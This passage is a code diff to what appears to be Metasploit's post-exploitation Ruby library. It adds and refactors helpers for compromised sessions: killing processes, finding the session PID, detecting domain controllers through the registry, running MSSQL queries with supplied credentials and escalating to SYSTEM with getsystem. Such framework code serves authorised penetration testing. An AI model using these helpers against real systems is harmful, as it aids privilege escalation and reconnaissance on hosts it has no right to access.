return !cmd_exec("taskkill /F /PID #{pid}").to_s.starts_with?('ERROR')
|
||||
end
|
||||
|
||||
cmd_exec("kill -9 #{pid} && echo true").to_s.include?('true')
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
false
|
||||
end
|
||||
|
||||
def meterpreter_get_processes
|
||||
begin
|
||||
return session.sys.process.get_processes.map { |p| p.slice('name', 'pid') }
|
||||
|
||||
@@ -10,6 +10,14 @@ module Msf::Post::Unix
|
||||
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current session
|
||||
# @return [String]
|
||||
#
|
||||
def get_session_pid
|
||||
cmd_exec("echo $PPID").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
@@ -99,7 +107,7 @@ module Msf::Post::Unix
|
||||
#
|
||||
def whoami
|
||||
shellpid = get_session_pid()
|
||||
status = read_file("/proc/#{shellpid}/status")
|
||||
status = read_file("/proc/#{shellpid}/status")
|
||||
status.each_line do |line|
|
||||
split = line.split(":")
|
||||
if split[0] == "Uid"
|
||||
|
||||
@@ -6,6 +6,7 @@ module Msf
|
||||
module Windows
|
||||
module Accounts
|
||||
include Msf::Post::Windows::Error
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
GUID = [
|
||||
['Data1', :DWORD],
|
||||
@@ -65,6 +66,42 @@ module Msf
|
||||
)
|
||||
end
|
||||
|
||||
# Check if host is an Active Directory domain controller
|
||||
#
|
||||
# @return [Boolean] Target host is an Active Directory domain controller
|
||||
def domain_controller?
|
||||
registry_enumkeys("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS")&.include?('Parameters') ? true : false
|
||||
end
|
||||
|
||||
# @return [String] Active Directory primary domain controller FQDN
|
||||
def get_primary_domain_controller
|
||||
if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
|
||||
domain = get_domain('DomainControllerName')
|
||||
else
|
||||
# Use cached domain controller name
|
||||
key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
|
||||
return unless registry_key_exist?(key)
|
||||
domain = registry_getvaldata(key, 'DCName')
|
||||
end
|
||||
|
||||
return unless domain
|
||||
|
||||
domain.gsub(%r{^\\\\}, '')
|
||||
end
|
||||
|
||||
# @return [String] Active Directory domain FQDN
|
||||
def get_domain_name
|
||||
if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
|
||||
return get_domain('DomainName')
|
||||
end
|
||||
|
||||
# Use cached domain name
|
||||
key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
|
||||
return unless registry_key_exist?(key)
|
||||
|
||||
registry_getvaldata(key, 'MachineDomain')
|
||||
end
|
||||
|
||||
##
|
||||
# get_domain(info_key, server_name = nil)
|
||||
#
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
module MSSQL
|
||||
|
||||
# @return [String, nil] contains the identified SQL command line client
|
||||
attr_accessor :sql_client
|
||||
|
||||
@@ -48,18 +48,16 @@ module Msf
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
else
|
||||
if (
|
||||
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
|
||||
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
|
||||
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
|
||||
elsif (
|
||||
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || # 2k8
|
||||
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || # 2k
|
||||
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || # 2k5
|
||||
service[:display].downcase == instance.downcase # If the user gets very specific
|
||||
) &&
|
||||
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||
service[:pid].to_i > 0
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
) &&
|
||||
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||
service[:pid].to_i > 0
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
@@ -109,13 +107,28 @@ module Msf
|
||||
# @param [String] query the query to execute
|
||||
# @param [String] instance the SQL instance to target
|
||||
# @param [String] server the SQL server to target
|
||||
# @param [String] database the database to connect to upon successfully authenticating
|
||||
# @param [String] username the username to authenticate as
|
||||
# @param [String] password the password to authenticate with
|
||||
# @return [String] the result of query
|
||||
def run_sql(query, instance = nil, server = '.')
|
||||
def run_sql(query, instance = nil, server = '.', database: nil, username: nil, password: nil)
|
||||
target = server
|
||||
if instance && instance.downcase != 'mssqlserver'
|
||||
target = "#{server}\\#{instance}"
|
||||
end
|
||||
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
|
||||
cmd = sql_client.to_s
|
||||
cmd += " -d #{database}" if database.present?
|
||||
if username.present? && password.nil?
|
||||
raise ArgumentError, 'Username provided but no value for the password was provided!'
|
||||
elsif username.present? && !password.nil?
|
||||
cmd += " -U \"#{username}\" -P \"#{password}\""
|
||||
elsif username.blank? && !password.nil?
|
||||
cmd += " -P \"#{password}\""
|
||||
else
|
||||
cmd += ' -E'
|
||||
end
|
||||
|
||||
cmd += " -S #{target} -Q \"#{query}\" -h -1 -w 200"
|
||||
vprint_status(cmd)
|
||||
run_cmd(cmd)
|
||||
end
|
||||
@@ -132,9 +145,10 @@ module Msf
|
||||
def run_cmd(cmd, token = true)
|
||||
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
|
||||
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
|
||||
res = ""
|
||||
res = ''
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
break if d == ''
|
||||
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
@@ -203,20 +217,20 @@ module Msf
|
||||
#
|
||||
# @return [Boolean] true if escalated successfully or user is already SYSTEM
|
||||
def get_system
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
print_status('Checking if user is SYSTEM...')
|
||||
|
||||
if is_system?
|
||||
print_good("User is SYSTEM")
|
||||
print_good('User is SYSTEM')
|
||||
return true
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_warning("Attempting to get SYSTEM privileges...")
|
||||
print_warning('Attempting to get SYSTEM privileges...')
|
||||
system_status = session.priv.getsystem
|
||||
if system_status && system_status.first
|
||||
print_good("Success, user is now SYSTEM")
|
||||
print_good('Success, user is now SYSTEM')
|
||||
return true
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
print_error('Unable to obtained SYSTEM privileges')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
@@ -311,14 +311,17 @@ protected
|
||||
subkeys = []
|
||||
reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|'
|
||||
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
|
||||
|
||||
bslashes = key.count('\\')
|
||||
bslashes = bslashes - 1 if key.ends_with?('\\')
|
||||
|
||||
results = shell_registry_cmd("query \"#{key}\"", view)
|
||||
unless results.include?('Error')
|
||||
unless results.to_s.upcase.starts_with?('ERROR:')
|
||||
results.each_line do |line|
|
||||
# now let's keep the ones that have a count = bslashes+1
|
||||
# feels like there's a smarter way to do this but...
|
||||
if (line.count('\\') == bslashes+1 && !line.ends_with?('\\'))
|
||||
#then it's a first level subkey
|
||||
# then it's a first level subkey
|
||||
subkeys << line.split('\\').last.chomp # take & chomp the last item only
|
||||
end
|
||||
end
|
||||
@@ -336,7 +339,7 @@ protected
|
||||
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
|
||||
# REG QUERY KeyName [/v ValueName | /ve] [/s]
|
||||
results = shell_registry_cmd("query \"#{key}\"", view)
|
||||
unless results.include?('Error')
|
||||
unless results.to_s.upcase.starts_with?('ERROR:')
|
||||
if values = results.scan(/^ +.*[#{reg_data_types}].*/)
|
||||
# yanked the lines with legit REG value types like REG_SZ
|
||||
# now let's parse out the names (first field basically)
|
||||
@@ -365,19 +368,22 @@ protected
|
||||
#
|
||||
def shell_registry_getvalinfo(key, valname, view)
|
||||
key = normalize_key(key)
|
||||
value = {}
|
||||
value["Data"] = nil # defaults
|
||||
value["Type"] = nil
|
||||
value = {
|
||||
'Data' => nil,
|
||||
'Type' => nil
|
||||
}
|
||||
|
||||
# REG QUERY KeyName [/v ValueName | /ve] [/s]
|
||||
results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view)
|
||||
|
||||
# pull out the interesting line (the one with the value name in it)
|
||||
if match_arr = /^ +#{valname}.*/i.match(results)
|
||||
# pull out the interesting line (the one with the value name in it)
|
||||
# and split it with ' ' yielding [valname,REGvaltype,REGdata]
|
||||
split_arr = match_arr[0].split(' ')
|
||||
value["Type"] = split_arr[1]
|
||||
value["Data"] = split_arr[2]
|
||||
# need to test to ensure all results can be parsed this way
|
||||
# split with ' ' yielding [valname,REGvaltype,REGdata] and extract reg type
|
||||
value['Type'] = match_arr[0].split[1]
|
||||
# treat the remainder of the line after the reg type as the reg value
|
||||
value['Data'] = match_arr[0].strip.scan(/#{value['Type']}\s+(.+)/).flatten.first
|
||||
end
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
@@ -661,8 +667,8 @@ protected
|
||||
else
|
||||
raise ArgumentError, "Cannot normalize unknown key: #{key}"
|
||||
end
|
||||
print_status("Normalized #{key} to #{keys.join("\\")}") if $blab
|
||||
return keys.join("\\")
|
||||
# print_status("Normalized #{key} to #{keys.join("\\")}")
|
||||
return keys.compact.join("\\")
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user